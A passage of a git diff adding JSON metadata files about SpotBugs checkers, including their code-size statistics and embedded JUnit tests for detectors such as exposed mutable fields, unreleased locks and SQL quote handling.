assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromInner$Nested\", \"setStaticValues\", \"shm\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromInner$Nested\", \"setStaticDateArray2\", \"sDateArray\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"ExposeMutableFromInner$Nested\", \"getStaticBufferWrap\", \"sCharArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"ExposeMutableFromInner$Nested\", \"getStaticBufferDuplicate\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromInner$Nested\", \"getStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromInner$Nested\", \"getStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromInner$Nested\", \"getStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromInner$Nested\", \"getStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromInner$Nested\", \"getStaticValues\", \"shm\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromInner$Nested\", \"getStaticDateArray2\", \"sDateArray\");\n }" + }, + { + "description": "testExposeInnerMutableChecks", + "expected-problems": null, + "expected-linenumbers": [ + 128, + 181 + ], + "code": "@Test\n void testExposeInnerMutableChecks() {\n performAnalysis(\"exposemutable/ExposeInnerMutable.class\",\n \"exposemutable/ExposeInnerMutable$Nested.class\");\n\n assertBugTypeCount(\"EI_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"EI_EXPOSE_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_REP\", 6);\n assertBugTypeCount(\"EI_EXPOSE_REP2\", 6);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_REP2\", 6);\n assertBugTypeCount(\"MS_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"MS_EXPOSE_REP\", 6);\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"ExposeInnerMutable$Nested\", \"getBufferWrap\", \"charArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"ExposeInnerMutable$Nested\", \"getBufferDuplicate\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"ExposeInnerMutable$Nested\", \"setBufferDuplicate\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"ExposeInnerMutable$Nested\", \"setBufferWrap\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeInnerMutable$Nested\", \"setBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeInnerMutable$Nested\", \"setDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeInnerMutable$Nested\", \"setDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeInnerMutable$Nested\", \"setDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeInnerMutable$Nested\", \"setValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeInnerMutable$Nested\", \"setDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"ExposeInnerMutable$Nested\", \"setStaticBufferDuplicate\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"ExposeInnerMutable$Nested\", \"setStaticBufferWrap\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeInnerMutable$Nested\", \"setStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeInnerMutable$Nested\", \"setStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeInnerMutable$Nested\", \"setStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeInnerMutable$Nested\", \"setStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeInnerMutable$Nested\", \"setStaticValues\", \"shm\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeInnerMutable$Nested\", \"setStaticDateArray2\", \"sDateArray\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"ExposeInnerMutable$Nested\", \"getStaticBufferWrap\", \"sCharArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"ExposeInnerMutable$Nested\", \"getStaticBufferDuplicate\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getStaticValues\", \"shm\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeInnerMutable$Nested\", \"getStaticDateArray2\", \"sDateArray\");\n }" + }, + { + "description": "testExposeMutableFromMutilevelInnerChecks", + "expected-problems": null, + "expected-linenumbers": [ + 183, + 240 + ], + "code": "@Test\n void testExposeMutableFromMutilevelInnerChecks() {\n performAnalysis(\"exposemutable/ExposeMutableFromMutilevelInner.class\",\n \"exposemutable/ExposeMutableFromMutilevelInner$MiddleStatic.class\",\n \"exposemutable/ExposeMutableFromMutilevelInner$Middle.class\",\n \"exposemutable/ExposeMutableFromMutilevelInner$MiddleStatic$Nested.class\",\n \"exposemutable/ExposeMutableFromMutilevelInner$Middle$Inner.class\");\n\n assertBugTypeCount(\"EI_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"EI_EXPOSE_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_REP\", 6);\n assertBugTypeCount(\"EI_EXPOSE_REP2\", 6);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_BUF2\", 2);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_REP2\", 6);\n assertBugTypeCount(\"MS_EXPOSE_BUF\", 2);\n assertBugTypeCount(\"MS_EXPOSE_REP\", 6);\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getBufferWrap\", \"charArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getBufferDuplicate\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setBufferDuplicate\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_BUF2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setBufferWrap\", \"charBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"getDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setBuffer\", \"charBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setDate\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setDate2\", \"date\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setDateArray\", \"dateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setValues\", \"hm\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP2\", \"ExposeMutableFromMutilevelInner$Middle$Inner\", \"setDateArray2\", \"dateArray\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticBufferDuplicate\",\n \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_BUF2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticBufferWrap\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticValues\", \"shm\");\n assertBugInMethodAtField(\"EI_EXPOSE_STATIC_REP2\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"setStaticDateArray2\", \"sDateArray\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticBufferWrap\", \"sCharArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_BUF\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticBufferDuplicate\", \"sCharBuf\");\n\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticBuffer\", \"sCharBuf\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticDate\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticDate2\", \"sDate\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticDateArray\", \"sDateArray\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticValues\", \"shm\");\n assertBugInMethodAtField(\"MS_EXPOSE_REP\", \"ExposeMutableFromMutilevelInner$MiddleStatic$Nested\", \"getStaticDateArray2\", \"sDateArray\");\n }" + }, + { + "description": "testUnmodifiableClass", + "expected-problems": null, + "expected-linenumbers": [ + 242, + 269 + ], + "code": "@Test\n @DisabledOnJre({ JRE.JAVA_8, JRE.JAVA_11 })\n void testUnmodifiableClass() {\n performAnalysis(\"../java17/exposemutable/UnmodifiableClass.class\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getListWithTernary2\", \"listWithTernary2\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getSetWithTernary2\", \"setWithTernary2\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getMapWithTernary2\", \"mapWithTernary2\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getListWithTernary3\", \"listWithTernary3\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getSetWithTernary3\", \"setWithTernary3\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getMapWithTernary3\", \"mapWithTernary3\");\n\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getListWithIf2\", \"listWithIf2\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getSetWithIf2\", \"setWithIf2\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getMapWithIf2\", \"mapWithIf2\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getListWithIf3\", \"listWithIf3\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getSetWithIf3\", \"setWithIf3\");\n assertBugInMethodAtField(\"EI_EXPOSE_REP\", \"UnmodifiableClass\", \"getMapWithIf3\", \"mapWithIf3\");\n\n assertBugTypeCount(\"EI_EXPOSE_REP\", 12);\n assertBugTypeCount(\"EI_EXPOSE_BUF\", 0);\n assertBugTypeCount(\"EI_EXPOSE_BUF2\", 0);\n assertBugTypeCount(\"EI_EXPOSE_REP2\", 0);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_BUF2\", 0);\n assertBugTypeCount(\"EI_EXPOSE_STATIC_REP2\", 0);\n assertBugTypeCount(\"MS_EXPOSE_BUF\", 0);\n assertBugTypeCount(\"MS_EXPOSE_REP\", 0);\n }" + }, + { + "description": "testUnmodifiableRecord", + "expected-problems": null, + "expected-linenumbers": [ + 271, + 277 + ], + "code": "@Test\n @DisabledOnJre({ JRE.JAVA_8, JRE.JAVA_11 })\n @Disabled\n void testUnmodifiableRecord() {\n performAnalysis(\"../java17/exposemutable/UnmodifiableRecord.class\");\n assertNoExposeBug();\n }" + }, + { + "description": "testUnmodifiableRecordWithAllParamConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 279, + 284 + ], + "code": "@Test\n @DisabledOnJre({ JRE.JAVA_8, JRE.JAVA_11 })\n void testUnmodifiableRecordWithAllParamConstructor() {\n performAnalysis(\"../java17/exposemutable/UnmodifiableRecordWithAllParamConstructor.class\");\n assertNoExposeBug();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRoughConstants.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRoughConstants.json new file mode 100644 index 0000000..524102b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRoughConstants.json @@ -0,0 +1,13 @@ +{ + "name": "FindRoughConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 219, + "branches": 28, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRunInvocations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRunInvocations.json new file mode 100644 index 0000000..098c8b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindRunInvocations.json @@ -0,0 +1,13 @@ +{ + "name": "FindRunInvocations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 8, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison.json new file mode 100644 index 0000000..261ebb3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison.json @@ -0,0 +1,13 @@ +{ + "name": "FindSelfComparison", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 336, + "branches": 70, + "apis": 73, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison2.json new file mode 100644 index 0000000..d41e159 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSelfComparison2.json @@ -0,0 +1,13 @@ +{ + "name": "FindSelfComparison2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 239, + "branches": 47, + "apis": 45, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSleepWithLockHeld.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSleepWithLockHeld.json new file mode 100644 index 0000000..253be81 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSleepWithLockHeld.json @@ -0,0 +1,13 @@ +{ + "name": "FindSleepWithLockHeld", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 12, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSpinLoop.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSpinLoop.json new file mode 100644 index 0000000..c1e6aa1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSpinLoop.json @@ -0,0 +1,13 @@ +{ + "name": "FindSpinLoop", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 23, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSqlInjection.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSqlInjection.json new file mode 100644 index 0000000..25a4667 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindSqlInjection.json @@ -0,0 +1,32 @@ +{ + "name": "FindSqlInjection", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 652, + "branches": 80, + "apis": 160, + "test": [ + { + "description": "testOpenQuote", + "expected-problems": null, + "expected-linenumbers": [ + 32, + 42 + ], + "code": "@Test\n void testOpenQuote() {\n assertTrue(FindSqlInjection.isOpenQuote(\"'\"));\n assertTrue(FindSqlInjection.isOpenQuote(\" '\"));\n assertTrue(FindSqlInjection.isOpenQuote(\"='\"));\n assertTrue(FindSqlInjection.isOpenQuote(\",'\"));\n assertTrue(FindSqlInjection.isOpenQuote(\"('\"));\n\n assertFalse(FindSqlInjection.isOpenQuote(\"'abc'\"));\n assertFalse(FindSqlInjection.isOpenQuote(\"='abc'\"));\n }" + }, + { + "description": "testCloseQuote", + "expected-problems": null, + "expected-linenumbers": [ + 44, + 54 + ], + "code": "@Test\n void testCloseQuote() {\n assertTrue(FindSqlInjection.isCloseQuote(\"'\"));\n assertTrue(FindSqlInjection.isCloseQuote(\"' \"));\n\n assertTrue(FindSqlInjection.isCloseQuote(\"',\"));\n assertTrue(FindSqlInjection.isCloseQuote(\"')\"));\n\n assertFalse(FindSqlInjection.isCloseQuote(\"'abc'\"));\n assertFalse(FindSqlInjection.isCloseQuote(\"='abc'\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindTwoLockWait.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindTwoLockWait.json new file mode 100644 index 0000000..4c87c6c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindTwoLockWait.json @@ -0,0 +1,13 @@ +{ + "name": "FindTwoLockWait", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 170, + "branches": 20, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUncalledPrivateMethods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUncalledPrivateMethods.json new file mode 100644 index 0000000..768230f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUncalledPrivateMethods.json @@ -0,0 +1,13 @@ +{ + "name": "FindUncalledPrivateMethods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 245, + "branches": 36, + "apis": 70, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnconditionalWait.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnconditionalWait.json new file mode 100644 index 0000000..8c78989 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnconditionalWait.json @@ -0,0 +1,13 @@ +{ + "name": "FindUnconditionalWait", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 8, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUninitializedGet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUninitializedGet.json new file mode 100644 index 0000000..70cccc8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUninitializedGet.json @@ -0,0 +1,13 @@ +{ + "name": "FindUninitializedGet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 190, + "branches": 19, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnrelatedTypesInGenericContainer.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnrelatedTypesInGenericContainer.json new file mode 100644 index 0000000..6229e71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnrelatedTypesInGenericContainer.json @@ -0,0 +1,13 @@ +{ + "name": "FindUnrelatedTypesInGenericContainer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 905, + "branches": 134, + "apis": 248, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnreleasedLock.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnreleasedLock.json new file mode 100644 index 0000000..035319d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnreleasedLock.json @@ -0,0 +1,41 @@ +{ + "name": "FindUnreleasedLock", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 515, + "branches": 59, + "apis": 99, + "test": [ + { + "description": "doesNotFindSSDBugIfLockIsClosedInAProperWay", + "expected-problems": null, + "expected-linenumbers": [ + 8, + 14 + ], + "code": "@Test\n void doesNotFindSSDBugIfLockIsClosedInAProperWay() {\n performAnalysis(\"unreleasedLock/ProperlyClosedLock.class\");\n assertNoBugType(\"UL_UNRELEASED_LOCK\");\n assertNoBugType(\"UL_UNRELEASED_LOCK_EXCEPTION_PATH\");\n assertNoBugType(\"CWO_CLOSED_WITHOUT_OPENED\");\n }" + }, + { + "description": "findPossibleUnlockCallWithoutLockCall", + "expected-problems": null, + "expected-linenumbers": [ + 16, + 23 + ], + "code": "@Test\n void findPossibleUnlockCallWithoutLockCall() {\n performAnalysis(\"unreleasedLock/ThrowExceptionAndUnlockBeforeLock.class\");\n assertNoBugType(\"UL_UNRELEASED_LOCK\");\n assertNoBugType(\"UL_UNRELEASED_LOCK_EXCEPTION_PATH\");\n assertBugTypeCount(\"CWO_CLOSED_WITHOUT_OPENED\", 1);\n assertBugInMethod(\"CWO_CLOSED_WITHOUT_OPENED\", \"ThrowExceptionAndUnlockBeforeLock\", \"doSomething\");\n }" + }, + { + "description": "findUnresolvedLockOnExceptionalCondition", + "expected-problems": null, + "expected-linenumbers": [ + 25, + 32 + ], + "code": "@Test\n void findUnresolvedLockOnExceptionalCondition() {\n performAnalysis(\"unreleasedLock/UnreleasedLock.class\");\n assertNoBugType(\"UL_UNRELEASED_LOCK\");\n assertNoBugType(\"CWO_CLOSED_WITHOUT_OPENED\");\n assertBugTypeCount(\"UL_UNRELEASED_LOCK_EXCEPTION_PATH\", 1);\n assertBugInMethod(\"UL_UNRELEASED_LOCK_EXCEPTION_PATH\", \"UnreleasedLock\", \"doSomething\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsatisfiedObligation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsatisfiedObligation.json new file mode 100644 index 0000000..de37e15 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsatisfiedObligation.json @@ -0,0 +1,23 @@ +{ + "name": "FindUnsatisfiedObligation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 755, + "branches": 97, + "apis": 138, + "test": [ + { + "description": "testIssue60", + "expected-problems": null, + "expected-linenumbers": [ + 25, + 29 + ], + "code": "@Test\n void testIssue60(SpotBugsRunner spotbugs) {\n BugCollection bugCollection = spotbugs.performAnalysis(Paths.get(\"../spotbugsTestCases/build/classes/java/main/lambdas/Issue60.class\"));\n assertThat(bugCollection, is(emptyIterable()));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsyncGet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsyncGet.json new file mode 100644 index 0000000..37ba919 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUnsyncGet.json @@ -0,0 +1,13 @@ +{ + "name": "FindUnsyncGet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 103, + "branches": 7, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUseOfNonSerializableValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUseOfNonSerializableValue.json new file mode 100644 index 0000000..f6c39df --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUseOfNonSerializableValue.json @@ -0,0 +1,13 @@ +{ + "name": "FindUseOfNonSerializableValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 230, + "branches": 30, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessControlFlow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessControlFlow.json new file mode 100644 index 0000000..a6a6988 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindUselessControlFlow.json @@ -0,0 +1,13 @@ +{ + "name": "FindUselessControlFlow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 12, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule 